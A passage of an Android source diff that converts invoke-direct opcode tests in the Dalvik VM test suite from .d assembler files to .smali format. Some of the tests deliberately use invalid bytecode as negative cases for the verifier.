+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_12.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_12;
+.super  Ldot/junit/opcodes/invoke_direct/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TSuper;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.d
deleted file mode 100644
index 23d4378..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_13.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_13
-.super dot/junit/opcodes/invoke_direct/TAbstract
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TAbstract/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/TAbstract/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.smali
new file mode 100644
index 0000000..5977154
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_13.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_13;
+.super  Ldot/junit/opcodes/invoke_direct/TAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/TAbstract;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.d
deleted file mode 100644
index 4d10ce8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_14.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       const v3, 50
-       const v4, 25
-       
-       invoke-direct {v6, v3}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.smali
new file mode 100644
index 0000000..758df2e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_14.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_14.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v3, 50
+       const v4, 25
+       
+       invoke-direct {v6, v3}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_14;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.d
deleted file mode 100644
index 55b7d3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_15.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v3}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.smali
new file mode 100644
index 0000000..1c0480b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_15.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_15.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v3}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_15;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.d
deleted file mode 100644
index 10e041d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_16.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16/toInt()F
-       
-       const/4 v1, 0
-       return v1
-.end method
-
-
-.method private toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.smali
new file mode 100644
index 0000000..f75a043
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_16.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_16.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_16;->toInt()F
+       
+       const/4 v1, 0
+       return v1
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.d
deleted file mode 100644
index 35a54d9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_17.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       new-instance v0, java/lang/String
-       invoke-direct {v0} java/lang/String/<init>()V
-         invoke-direct {v0} java/lang/String/<init>()V
-       return-void       
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.smali
new file mode 100644
index 0000000..519bf89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_17.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ljava/lang/String;
+       invoke-direct {v0} , Ljava/lang/String;-><init>()V
+         invoke-direct {v0} , Ljava/lang/String;-><init>()V
+       return-void       
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.d
deleted file mode 100644
index 602cbeb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_18.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_18
-.super dot/junit/opcodes/invoke_direct/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       const v0, 0
-       iput v0, v1, dot.junit.opcodes.invoke_direct.d.T_invoke_direct_18.val I
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.smali
new file mode 100644
index 0000000..10c18c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_18.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_18.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_18;
+.super  Ldot/junit/opcodes/invoke_direct/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       const v0, 0
+       iput v0, v1, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_18;->val:I
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.d
deleted file mode 100644
index 0c11388..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_2.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct {v2}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.smali
new file mode 100644
index 0000000..8518e33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_2.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_2.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_2;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.d
deleted file mode 100644
index d6653fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_21.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       const v3, 50
-       const v4, 25
-       
-       invoke-direct {v6, v3, v4}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.smali
new file mode 100644
index 0000000..012bd6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_21.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_21.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v3, 50
+       const v4, 25
+       
+       invoke-direct {v6, v3, v4}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_21;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.d
deleted file mode 100644
index 83fd3db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_24.java
-.class public dot.junit.opcodes.invoke_direct.d.T_invoke_direct_24
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       
-       const-wide v3, 50
-       
-       invoke-direct {v6, v3, v4}, dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.smali
new file mode 100644
index 0000000..4461750
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_24.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_24.java"
+.class  public Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_24;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       
+       const-wide v3, 50
+       
+       invoke-direct {v6, v3, v4}, Ldot/junit/opcodes/invoke_direct/d/T_invoke_direct_24;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.smali
new file mode 100644
index 0000000..994fd74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct/d/T_invoke_direct_25.smali
@@ -0,0 +1,49 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
